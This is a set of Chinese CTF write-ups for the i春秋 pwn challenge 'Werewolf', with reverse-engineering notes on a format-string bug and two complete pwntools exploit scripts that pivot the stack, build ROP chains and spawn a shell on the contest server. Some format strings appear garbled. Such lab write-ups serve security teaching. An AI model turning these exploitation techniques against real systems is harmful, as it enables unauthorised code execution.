“迎圣诞,拿大奖”活动赛题Werewolf
本题来源于:i春秋
题目内容: nc 106.75.2.53 10010
flag格式为 flag{xxxxx} 提交答案请参考该格式
分享Writeup的标题格式为 【迎圣诞,拿大奖】XXXWrtieup分享 分享Writeup请参考该格式
附件下载:
Writeup_01:
来源于:https://www.ichunqiu.com/writeup/detail/535
Christmas-Pwn-WereWolfBlog中有相应的内容,欢迎大家浏览,大佬轻喷。 i春秋圣诞CTF的一道Pwn题,漏洞比较简单,但是由于官方的libc问题,无法成功泄露出libc的版本,所以在漏洞利用上是比较繁琐的,这里采用了利用format-string将stack-frame劫持到heap空间中,Stack-pivot做ROP,最后Ret2syscall的方式,成功Getshell。
1、reverse
- ➜ workspace file werewolf
- werewolf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=017d1e3c242c96d9c9073c650e91c531d53749ec, stripped
- ➜ workspace checksec werewolf
- [*] '/mnt/hgfs/Binary/CTF/Shooting/ichun/Pwn/Were_wolf_250/workspace/workspace/werewolf'
- Arch: amd64-64-little
- RELRO: Partial RELRO
- Stack: Canary found
- NX: NX enabled
- PIE: No PIE (0x400000)
复制代码
Adapted from ICQ-Baidu-February Pwn werewolf. i春秋2月场Werewolf改编而来,操作与2月的Werewolf基本一样,Binary开启了NX与Canary 题目中没有提供libc,所以不要妄想找到题目的libc,肯定需要用无libc的方式.
首先逆向分析题目: 题目模拟了"狼人杀"-Werewolf这款游戏,其中每个role-角色都建立一个action存储用户的行为。
在heap上建立了一个存储rope的list,分别储存*action与action的length。 共有一下四种操作: 1. add: 增加一个role 2. edit: 编辑已有的role的action 3. show:打印一个已有的role的action 4. kill:删除一个已有的role 5. edit: 打印bye~后退出
整体来说题目流程是比较清晰的,不难逆向。
##vulnerability 漏洞触发在show函数中,是一个比较容易发现的格式化字符串漏洞
原本在2月场中在kill中出现的double-free被修补,
利用该format string,因为我们可以无限次地edit一个role,再通过show打印出来触发漏洞,从而我们拥有了无限读写的能力 no limit read or write.。
我们不考虑确定libc的地址,因为ichun之前题目的环境也是比较..,从来找不到确定的libc版本,所以我们考虑ret2syscall,通过泄露的一个libc地址确定syscall的地址,再通过stack pivot到heap中ret2syscall rop,最后spawn shell。
这里需要解决几个问题: * syscall地址 : 可以通过读write地址的,计算偏移得到syscall的地址
* heap地址:通过printf前的stack结构,将0x6020A8写入栈,并通过foramtstring入出heap的地址 * 如何stack-pivot:首先需要劫持rbp为heap地址,之后通过leave等改变rsp,从而进行栈偏移 * 如何Rop:利用万能的_init_中的RopGadgtes
- .text:0000000000400DB0 mov rdx, r13
- .text:0000000000400DB3 mov rsi, r14
- .text:0000000000400DB6 mov edi, r15d
- .text:0000000000400DB9 call qword ptr [r12+rbx*8]
- .text:0000000000400DBD add rbx, 1
- .text:0000000000400DC1 cmp rbp, rbx
- .text:0000000000400DC4 jnz short loc_400DB0
- .text:0000000000400DC6
- .text:0000000000400DC6 loc_400DC6: ; CODE XREF: init+34↑j
- .text:0000000000400DC6 add rsp, 8
- .text:0000000000400DCA pop rbx
- .text:0000000000400DCB pop rbp
- .text:0000000000400DCC pop r12
- .text:0000000000400DCE pop r13
- .text:0000000000400DD0 pop r14
- .text:0000000000400DD2 pop r15
- .text:0000000000400DD4 retn
复制代码
2、scenario
最终的exp基本是按照上述的思路进行: 1. 通过泄露write_addr,进行偏移计算得到syscall的地址 2. 泄露stack地址,为format-string打栈做准备 3. 泄露heap地址 4. 修改栈中value,将stack-pivot的目标heap地址写入栈中 5. 修改两处返回地址,如下图,进行Rop 6. 顺利劫持程序流后,通过Ropgagtes 执行`read(0,elf.bss,0x3B)`后令eax=0x3b,并将“/bin/sh”写入 7. 再次通过Ropgagtes执行`execve("/bin/sh",NULL,NULL)`Spawn shell
最后,在写入栈中,我们用show函数中的rbp地址作为跳板,向栈中写入数据。 为了防止通信数据量过大造成阻塞,exp中全部用的`%hhn`进行写入。 注意通过rbp跳板向栈中写value要从高地址向低地址写,这是由于程序本身造成的,调试可见端倪,不再赘述。
- #/usr/env/bin python
- #-*- coding: utf-8 -*-
- from pwn import *
- import sys
- def add(size,content):
- io.sendlineafter('5.Exit\n',str(1))
- io.sendlineafter('inputs your size:\n',str(size))
- io.sendafter('Input your action:\n',content)
-
- def show(id):
- io.sendlineafter('5.Exit\n',str(2))
- io.sendlineafter('Input your id\n',str(id))
- def edit(id,content):
- io.sendlineafter('5.Exit\n',str(3))
- io.sendlineafter('Input your id\n',str(id))
- io.sendafter('Input your new action\n',content)
- def kill(id):
- io.sendlineafter('5.Exit\n',str(4))
- io.sendlineafter('Input your id\n',str(id))
- def cycle(number):
- if number>20:
- return number
- else:
- number = number+0x100
- return number
- def exploit():
- log.info('leak libc syscall stack......')
- bss_addr = 0x6020A8
- add(0x30,'%3$p\t$p\t\n')
- show(0)
- io.recvuntil('action : ')
- syscall = int(io.recvuntil('\t',drop=True),16)-0x2
- log.info('syscall_addr:'+hex(syscall))
- stack = int(io.recvuntil('\t',drop=True),16)
- log.info('stack_addr:'+hex(stack))
- temp = stack+0x20
- log.info('leak heap address......')
- payload = '%'+str(cycle((temp&0xff)+0x2))+'d$hhn\n'
- edit(0,payload)
- show(0)
- payload = '%'+str(cycle(((bss_addr>>16)&0xff)))+'d$hhn\n'
- edit(0,payload)
- show(0)
- payload = '%'+str(cycle((temp&0xff)+0x1))+'d$hhn\n'
- edit(0,payload)
- show(0)
- payload = '%'+str(cycle(((bss_addr>>8)&0xff)))+'d$hhn\n'
- edit(0,payload)
- show(0)
- payload = '%'+str(cycle(temp&0xff))+'d$hhn\n'
- edit(0,payload)
- show(0)
- payload = '%'+str(cycle((bss_addr)&0xff))+'d$hhn\n'
- edit(0,payload)
- show(0)
- payload = '$s\n'
- edit(0,payload)
- show(0)
- io.recvuntil('action : ')
- heap_base = u32(io.recvuntil('\n',drop=True).ljust(0x4,"\x00"))-0x10
- log.info('heap_base:'+hex(heap_base))
-
- log.debug("fake stack-pivot's stack.......")
- payload = p64(0)+p64(0x400DCA)+p64(0)+p64(1)+p64(elf.got['read'])
- payload += p64(0x3B)+p64(0x6020B0)+p64(0)+p64(0x400DB0)
- payload += p64(0)+p64(0)+p64(1)+p64(0x6020b8)
- payload += p64(0)+p64(0)+p64(0x6020b0)+p64(0x400DB0)
- add(0x150,payload+'\n')
- log.info("rop2.....")
- temp = temp+0x28
- rop2 = 0x400C8E
- payload = '%'+str(cycle((temp&0xff)))+'d$hhn\n'
- edit(0,payload)
- show(0)
- payload = '%'+str(cycle(rop2&0xff))+'d$hhn\n'
- edit(0,payload)
- show(0)
- log.debug("change rbp address......")
- pivot_address = heap_base+0xf0
- temp = stack+0x20
- payload = '%'+str(cycle((temp&0xff)+0x3))+'d$hhn\n'
- edit(0,payload)
- show(0)
- payload = '%'+str(cycle(((pivot_address>>24)&0xff)))+'d$hhn\n'
- edit(0,payload)
- show(0)
- payload = '%'+str(cycle((temp&0xff)+0x2))+'d$hhn\n'
- edit(0,payload)
- show(0)
- payload = '%'+str(cycle(((pivot_address>>16)&0xff)))+'d$hhn\n'
- edit(0,payload)
- show(0)
- payload = '%'+str(cycle((temp&0xff)+0x1))+'d$hhn\n'
- edit(0,payload)
- show(0)
- payload = '%'+str(cycle(((pivot_address>>8)&0xff)))+'d$hhn\n'
- edit(0,payload)
- show(0)
- payload = '%'+str(cycle(temp&0xff))+'d$hhn\n'
- edit(0,payload)
- show(0)
- payload = '%'+str(cycle((pivot_address)&0xff))+'d$hhn\n'
- edit(0,payload)
- show(0)
- log.info("rop1......")
- temp = stack+0x8
- rop1 = 0x400DC6
- payload = '%'+str(cycle((temp&0xff)))+'d$hhn\n'
- edit(0,payload)
- show(0)
- payload = '%'+str(cycle((rop1)&0xff))+'d$hhn\n'
- edit(0,payload)
- show(0)
- log.info('layout .bss......')
- payload = '/bin/sh\x00'+p64(syscall)
- payload = payload.ljust(0x3B,'A')
- io.send(payload)
- io.interactive()
- if __name__ == "__main__":
- context.binary = "./werewolf"
- context.terminal = ['tmux','sp','-h']
- #context.log_level = 'debug'
- elf = ELF('./werewolf')
- if len(sys.argv)>1:
- io = remote(sys.argv[1],sys.argv[2])
- exploit()
- else:
- io = process('./werewolf')
- libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
- exploit()
复制代码
结果:
Writeup_02:
来源于:https://www.ichunqiu.com/writeup/detail/219
算了,把exp贴出来就遛了,我在我的博客写的很详细,每一步都有解析,感兴趣的可以去我的博客看看详细说明 (注意:不是我不想分享wp,是这个(ichunqiu平台)上传不了图片,而且编辑器用着也不太方便,还是markdown好)
https://d001um3.github.io/2017/12/24/icq_ysd/
(PS:这个博客网页已经找不到了,我找到了大佬的github网址希望有这道题的writeup吧!点击链接)
我的exp(远程服务器版本,本地利用版本有点不一样,在上面的博客里有):
from pwn import *
from LibcSearcher import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
debug = False
elf = ELF('./Werewolf')
pop_rdi_addr = 0x0000000000400dd3
if not debug:
sh = remote('106.75.72.91', 20000)
else:
sh = process('./Werewolf')
# gdb.attach(sh, 'b *0x0400B1B')
elf_dic = {
'0x400000': '\x7fELF\x02\x01\x01\x00',
'0x601e20': '\x01\x00\x00\x00\x00\x00\x00\x00',
'0x601e30': '\x0c\x00\x00\x00\x00\x00\x00\x00',
'0x601e40': '\r\x00\x00\x00\x00\x00\x00\x00',
'0x601e50': '\x19\x00\x00\x00\x00\x00\x00\x00',
'0x601e60': '\x1b\x00\x00\x00\x00\x00\x00\x00',
'0x601e70': '\x1a\x00\x00\x00\x00\x00\x00\x00',
'0x601e80': '\x1c\x00\x00\x00\x00\x00\x00\x00',
'0x601e90': '\xf5\xfe\xffo\x00\x00\x00\x00',
'0x601ea0': '\x05\x00\x00\x00\x00\x00\x00\x00',
'0x601eb0': '\x06\x00\x00\x00\x00\x00\x00\x00',
'0x601ec0': '\n\x00\x00\x00\x00\x00\x00\x00',
'0x601ed0': '\x0b\x00\x00\x00\x00\x00\x00\x00',
'0x601ee0': '\x15\x00\x00\x00\x00\x00\x00\x00',
'0x601ef0': '\x03\x00\x00\x00\x00\x00\x00\x00',
'0x601ef8': '\x00 `\x00\x00\x00\x00\x00',
}
def Add(len, action):
sh.recvuntil('5.Exit\n')
sh.sendline('1')
sh.recvuntil('size:\n')
sh.sendline(str(len))
sh.recvuntil('action:\n')
sh.sendline(action)
sh.recvuntil('role!\n')
def Edit(id, action):
sh.recvuntil('5.Exit\n')
sh.sendline('3')
sh.recvuntil('id\n')
sh.sendline(str(id))
sh.recvuntil('action\n')
sh.sendline(action)
sh.recvuntil('========')
def show(id, flag=None):
sh.recvuntil('5.Exit\n')
sh.sendline('2')
sh.recvuntil('id\n')
sh.sendline(str(id))
if flag:
sh.recvuntil(flag)
def write_stack(addr, offset_to_rbp):
# write addr in rbp + (offset_to_rbp * 8)
addr_1_2_bit = int(hex(addr)[2:].zfill(16)[12:16], 16)
addr_3_4_bit = int(hex(addr)[2:].zfill(16)[8:12], 16)
addr_5_6_bit = int(hex(addr)[2:].zfill(16)[4:8], 16)
addr_7_8_bit = int(hex(addr)[2:].zfill(16)[0:4], 16)
fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 6) + 'x$hn<<>>'
if addr_7_8_bit:
fmt_2 = '%' + str(addr_7_8_bit) + 'x$hn<<>>'
else:
fmt_2 = '$hn<<>>'
Edit(0, fmt_1)
show(0, '<<>>')
Edit(0, fmt_2)
show(0, '<<>>')
# log.success('write %s 7th and 8th bit success' % hex(addr))
fmt_3 = '%' + str(low_bit + (offset_to_rbp * 8) + 4) + 'x$hn<<>>'
if addr_5_6_bit:
fmt_4 = '%' + str(addr_5_6_bit) + 'x$hn<<>>'
else:
fmt_4 = '$hn<<>>'
Edit(0, fmt_3)
show(0, '<<>>')
Edit(0, fmt_4)
show(0, '<<>>')
# log.success('write %s 5th and 6th bit success' % hex(addr))
fmt_5 = '%' + str(low_bit + (offset_to_rbp * 8) + 2) + 'x$hn<<>>'
if addr_3_4_bit:
fmt_6 = '%' + str(addr_3_4_bit) + 'x$hn<<>>'
else:
fmt_6 = '$hn<<>>'
Edit(0, fmt_5)
show(0, '<<>>')
Edit(0, fmt_6)
show(0, '<<>>')
# log.success('write %s 3th and 4th bit success' % hex(addr))
fmt_7 = '%' + str(low_bit + (offset_to_rbp * 8)) + 'x$hn<<>>'
if addr_1_2_bit:
fmt_8 = '%' + str(addr_1_2_bit) + 'x$hn<<>>'
else:
fmt_8 = '$hn<<>>'
Edit(0, fmt_7)
show(0, '<<>>')
Edit(0, fmt_8)
show(0, '<<>>')
# log.success('write %s 1th and 2th bit success' % hex(addr))
# log.success('write %s in offset %s to rbp success' % (hex(addr), str(offset_to_rbp)))
def leak(leak_addr, offset_to_rbp=7):
if hex(leak_addr) in elf_dic:
print "done '%s' : %s," % (hex(leak_addr), repr(elf_dic[hex(leak_addr)]))
return elf_dic[hex(leak_addr)]
write_stack(leak_addr, offset_to_rbp)
Edit(0, '<<>>%' + str(14 + offset_to_rbp) + '$s<<>>')
show(0, '<<>>')
leak_data = sh.recvuntil('<<>>').strip('<<>>')
while True:
if not len(leak_data) < 8:
break
leak_data = leak_data + '\x00'
write_stack(leak_addr + len(leak_data), offset_to_rbp)
Edit(0, '<<>>%' + str(14 + offset_to_rbp) + '$s<<>>')
show(0, '<<>>')
new_data = sh.recvuntil('<<>>').strip('<<>>')
leak_data = leak_data + new_data
leak_data = leak_data[:8]
# log.success("[%s] -> [%s] = [%s]" % (hex(leak_addr), leak_data.encode("hex"), repr(leak_data)))
# gdb.attach(sh, 'b *0x0400B1B')
if leak_addr == 0x602008:
addr_0x602008 = int(leak_data[::-1].encode('hex'), 16)
tmp = addr_0x602008 + 0x20
elf_dic[hex(tmp)] = '\x00\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp - 0x18
elf_dic[hex(tmp)] = hex(tmp + 1416)[2:].zfill(16).decode('hex')[::-1]
elf_dic[hex(int(elf_dic[hex(tmp)][::-1].encode('hex'), 16))] = '\x00\x00\x00\x00\x00\x00\x00\x00'
tmp = int(elf_dic[hex(tmp)][::-1].encode('hex'), 16)
elf_dic[hex(tmp - 1400)] = hex(tmp + 8)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp + 0x10
elf_dic[hex(tmp)] = hex(tmp - 1160)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp - 1160
elf_dic[hex(tmp)] = '`\x1e`\x00\x00\x00\x00\x00'
tmp = tmp + 1160 + 0x10
elf_dic[hex(tmp)] = hex(tmp - 12888)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp - 12888 + 0x8
elf_dic[hex(tmp)] = hex(tmp - 40)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp - 40
elf_dic[hex(tmp)] = '/lib/x86'
tmp = tmp + 8
elf_dic[hex(tmp)] = '_64-linu'
tmp = tmp + 8
elf_dic[hex(tmp)] = 'x-gnu/li'
tmp = tmp + 8
elf_dic[hex(tmp)] = 'bc.so.6\x00'
tmp = tmp + 8
elf_dic[hex(tmp)] = hex(tmp - 6218944)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp - 6218944
elf_dic[hex(tmp)] = '\x7fELF\x02\x01\x01\x03'
tmp = tmp + 6218944 + 0x10
elf_dic[hex(tmp)] = hex(tmp - 2271536)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp - 2271536
elf_dic[hex(tmp)] = '\x01\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\x0e\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\x0c\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\x19\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\x1b\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\x04\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\xf5\xfe\xffo\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\x05\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\x06\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\n\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\x0b\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\x03\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x8
elf_dic[hex(tmp)] = hex(tmp + 936)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp - 3947592
elf_dic[hex(tmp)] = '\x03\x00\x00\x00\x01\x00\x00\x00'
tmp = tmp + 3948536
elf_dic[hex(tmp)] = hex(tmp + 2270392)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp + 2270424
elf_dic[hex(tmp)] = hex(tmp + 12832)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp + 12864
elf_dic[hex(tmp)] = hex(tmp - 1464)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp - 6231456
elf_dic[hex(tmp)] = 'D\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 3947144
elf_dic[hex(tmp)] = hex(tmp - 3946832)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp + 0x10
elf_dic[hex(tmp)] = hex(tmp - 3877920)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp + 0x10
elf_dic[hex(tmp)] = hex(tmp - 3931816)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp - 3946864
elf_dic[hex(tmp)] = '\xf3\x03\x00\x00\n\x00\x00\x00'
tmp = tmp + 0x8
elf_dic[hex(tmp)] = '\x00\x01\x00\x00\x0e\x00\x00\x00'
tmp = tmp + 4560
elf_dic[hex(tmp)] = 'G\x05\x00\x00I\x05\x00\x00'
tmp = tmp + 6904
elf_dic[hex(tmp)] = '\x8a\xe4\xee\x1c\x1b\x05\xa3\x96'
print "'%s' : %s," % (hex(leak_addr), repr(leak_data))
return leak_data
# get stack addr
Add(100, '<<>>$p')
show(0, '<<>>')
rbp_addr = int(sh.recvuntil('\n').strip()[2:], 16)
low_bit = int(hex(rbp_addr)[-4:], 16)
log.success('get rbp addr: ' + hex(rbp_addr))
# dynelf
dynelf = DynELF(leak, elf=elf)
system_addr = dynelf.lookup('system', 'libc')
log.success('get system addr: ' + hex(system_addr))
# make ROP : pop_rdi -> binsh -> system
# write system addr in rbp + (3 * 8)
write_stack(system_addr, 3)
# write binsh addr in rbp + (2 * 8)
binsh = int('/bin/sh'[::-1].encode('hex'), 16)
write_stack(binsh, 8)
binsh_addr = rbp_addr + (8 * 8)
write_stack(binsh_addr, 2)
# check if succuss
Edit(0, '<<>>$p<<>>$p<<>>$p<<>>')
show(0, '<<>>')
ret_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
changed_binsh_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
changed_system_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
assert changed_binsh_addr == binsh_addr
assert changed_system_addr == system_addr
log.success('binsh and system is ready')
log.success('ret addr: ' + hex(ret_addr))
# write pop_rdi addr low bits in rbp + (1 * 8)
# change low bits
assert abs(ret_addr - pop_rdi_addr) < 0xffff
fmt_1 = '%' + str(low_bit + (1 * 8)) + 'x$hn<<>>'
fmt_2 = '%' + str(pop_rdi_addr & 0xffff) + 'x$hn<<>>'
Edit(0, fmt_1)
show(0, '<<>>')
Edit(0, fmt_2)
show(0, '<<>>')
log.success('write pop_rdi addr success')
sh.interactive()
|